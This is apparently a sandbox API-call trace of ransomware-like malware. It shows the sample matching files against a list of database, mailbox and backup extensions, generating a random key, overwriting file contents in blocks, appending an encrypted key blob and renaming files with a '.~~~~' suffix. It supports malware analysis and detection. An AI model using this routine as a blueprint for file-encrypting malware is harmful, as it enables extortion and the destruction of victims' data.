	[0082.071] lstrlenW (lpString=".NDF") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".NDF") returned 0x0
	[0082.072] lstrlenW (lpString=".dat") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dat") returned 0x0
	[0082.072] lstrlenW (lpString=".DBS") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DBS") returned 0x0
	[0082.072] lstrlenW (lpString=".CKP") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".CKP") returned 0x0
	[0082.072] lstrlenW (lpString=".edb") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".edb") returned 0x0
	[0082.072] lstrlenW (lpString=".PST") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".PST") returned 0x0
	[0082.072] lstrlenW (lpString=".dbf") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dbf") returned 0x0
	[0082.072] lstrlenW (lpString=".SQL") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".SQL") returned 0x0
	[0082.072] lstrlenW (lpString=".pst") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".pst") returned 0x0
	[0082.072] lstrlenW (lpString=".dbv") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dbv") returned 0x0
	[0082.072] lstrlenW (lpString=".SDF") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".SDF") returned 0x0
	[0082.072] lstrlenW (lpString=".dtxs") returned 5
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dtxs") returned 0x0
	[0082.072] lstrlenW (lpString=".db3") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".db3") returned 0x0
	[0082.072] lstrlenW (lpString=".OST") returned 4
	[0082.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".OST") returned 0x0
	[0082.072] lstrlenW (lpString=".dbx") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dbx") returned 0x0
	[0082.073] lstrlenW (lpString=".DB3") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DB3") returned 0x0
	[0082.073] lstrlenW (lpString=".DAT") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DAT") returned 0x0
	[0082.073] lstrlenW (lpString=".VHDX") returned 5
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".VHDX") returned 0x0
	[0082.073] lstrlenW (lpString=".ndf") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".ndf") returned 0x0
	[0082.073] lstrlenW (lpString=".DB") returned 3
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DB") returned 0x0
	[0082.073] lstrlenW (lpString=".sql") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".sql") returned 0x0
	[0082.073] lstrlenW (lpString=".MYD") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".MYD") returned 0x0
	[0082.073] lstrlenW (lpString=".DBT") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DBT") returned 0x0
	[0082.073] lstrlenW (lpString=".ACCDB") returned 6
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".ACCDB") returned 0x0
	[0082.073] lstrlenW (lpString=".fdb") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".fdb") returned 0x0
	[0082.073] lstrlenW (lpString=".bak") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".bak") returned 0x0
	[0082.073] lstrlenW (lpString=".myd") returned 4
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".myd") returned 0x0
	[0082.073] lstrlenW (lpString=".DTXS") returned 5
	[0082.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DTXS") returned 0x0
	[0082.074] lstrlenW (lpString=".ckp") returned 4
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".ckp") returned 0x0
	[0082.074] lstrlenW (lpString=".dbt") returned 4
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dbt") returned 0x0
	[0082.074] lstrlenW (lpString=".db") returned 3
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".db") returned 0x0
	[0082.074] lstrlenW (lpString=".TXT") returned 4
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".TXT") returned 0x0
	[0082.074] lstrlenW (lpString=".MDF") returned 4
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".MDF") returned 0x0
	[0082.074] lstrlenW (lpString=".bdb") returned 4
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".bdb") returned 0x0
	[0082.074] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.074] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.075] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.075] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.075] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20206564604) returned 1
	[0082.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ac2dd70, dwHighDateTime=0x1d60e1e)) 
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3808
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0082.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.076] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.076] GetLastError () returned 0x0
	[0082.077] GetLastError () returned 0x0
	[0082.077] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.077] GetLastError () returned 0x0
	[0082.077] GetLastError () returned 0x0
	[0082.077] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.080] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.081] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.082] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.082] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.084] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.084] CloseHandle (hObject=0x120) returned 1
	[0082.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.~~~~")) returned 1
	[0082.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.086] GetLastError () returned 0x0
	[0082.086] RtlWakeConditionVariable () returned 0x365f70
	[0082.086] GetCurrentThreadId () returned 0x9cc
	[0082.086] GetCurrentThreadId () returned 0x9cc
	[0082.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa268 | out: hHeap=0x300000) returned 1
	[0082.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0082.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa268
	[0082.086] lstrlenW (lpString=".scr") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".scr") returned 0x0
	[0082.086] lstrlenW (lpString=".cmd") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".cmd") returned 0x0
	[0082.086] lstrlenW (lpString=".dll") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dll") returned 0x0
	[0082.086] lstrlenW (lpString=".bat") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".bat") returned 0x0
	[0082.086] lstrlenW (lpString=".cpl") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".cpl") returned 0x0
	[0082.086] lstrlenW (lpString=".sys") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".sys") returned 0x0
	[0082.086] lstrlenW (lpString=".msc") returned 4
	[0082.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".msc") returned 0x0
	[0082.086] lstrlenW (lpString=".com") returned 4
	[0082.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".com") returned 0x0
	[0082.087] lstrlenW (lpString=".lnk") returned 4
	[0082.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".lnk") returned 0x0
	[0082.087] lstrlenW (lpString=".msp") returned 4
	[0082.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".msp") returned 0x0
	[0082.087] lstrlenW (lpString=".pif") returned 4
	[0082.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".pif") returned 0x0
	[0082.087] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0082.088] lstrlenW (lpString=".sqb") returned 4
	[0082.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".sqb") returned 0x0
	[0082.088] lstrlenW (lpString=".ost") returned 4
	[0082.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".ost") returned 0x0
	[0082.088] lstrlenW (lpString=".txt") returned 4
	[0082.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".txt") returned 0x0
	[0082.088] lstrlenW (lpString=".mdt") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".mdt") returned 0x0
	[0082.089] lstrlenW (lpString=".BDB") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".BDB") returned 0x0
	[0082.089] lstrlenW (lpString=".eql") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".eql") returned 0x0
	[0082.089] lstrlenW (lpString=".DBF") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DBF") returned 0x0
	[0082.089] lstrlenW (lpString=".EQL") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".EQL") returned 0x0
	[0082.089] lstrlenW (lpString=".FDB") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".FDB") returned 0x0
	[0082.089] lstrlenW (lpString=".EDB") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".EDB") returned 0x0
	[0082.089] lstrlenW (lpString=".DACPAC") returned 7
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.089] lstrlenW (lpString=".VHD") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".VHD") returned 0x0
	[0082.089] lstrlenW (lpString=".DBV") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DBV") returned 0x0
	[0082.089] lstrlenW (lpString=".dacpac") returned 7
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0082.089] lstrlenW (lpString=".sdf") returned 4
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".sdf") returned 0x0
	[0082.089] lstrlenW (lpString=".accdb") returned 6
	[0082.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".accdb") returned 0x0
	[0082.089] lstrlenW (lpString=".DBX") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DBX") returned 0x0
	[0082.090] lstrlenW (lpString=".MDT") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".MDT") returned 0x0
	[0082.090] lstrlenW (lpString=".SQB") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".SQB") returned 0x0
	[0082.090] lstrlenW (lpString=".vhd") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".vhd") returned 0x0
	[0082.090] lstrlenW (lpString=".bac") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".bac") returned 0x0
	[0082.090] lstrlenW (lpString=".mdf") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".mdf") returned 0x0
	[0082.090] lstrlenW (lpString=".BAK") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".BAK") returned 0x0
	[0082.090] lstrlenW (lpString=".BAC") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".BAC") returned 0x0
	[0082.090] lstrlenW (lpString=".dbs") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dbs") returned 0x0
	[0082.090] lstrlenW (lpString=".vhdx") returned 5
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0082.090] lstrlenW (lpString=".NDF") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".NDF") returned 0x0
	[0082.090] lstrlenW (lpString=".dat") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dat") returned 0x0
	[0082.090] lstrlenW (lpString=".DBS") returned 4
	[0082.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DBS") returned 0x0
	[0082.090] lstrlenW (lpString=".CKP") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".CKP") returned 0x0
	[0082.091] lstrlenW (lpString=".edb") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".edb") returned 0x0
	[0082.091] lstrlenW (lpString=".PST") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".PST") returned 0x0
	[0082.091] lstrlenW (lpString=".dbf") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dbf") returned 0x0
	[0082.091] lstrlenW (lpString=".SQL") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".SQL") returned 0x0
	[0082.091] lstrlenW (lpString=".pst") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".pst") returned 0x0
	[0082.091] lstrlenW (lpString=".dbv") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dbv") returned 0x0
	[0082.091] lstrlenW (lpString=".SDF") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".SDF") returned 0x0
	[0082.091] lstrlenW (lpString=".dtxs") returned 5
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0082.091] lstrlenW (lpString=".db3") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".db3") returned 0x0
	[0082.091] lstrlenW (lpString=".OST") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".OST") returned 0x0
	[0082.091] lstrlenW (lpString=".dbx") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dbx") returned 0x0
	[0082.091] lstrlenW (lpString=".DB3") returned 4
	[0082.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DB3") returned 0x0
	[0082.091] lstrlenW (lpString=".DAT") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DAT") returned 0x0
	[0082.092] lstrlenW (lpString=".VHDX") returned 5
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0082.092] lstrlenW (lpString=".ndf") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".ndf") returned 0x0
	[0082.092] lstrlenW (lpString=".DB") returned 3
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DB") returned 0x0
	[0082.092] lstrlenW (lpString=".sql") returned 4
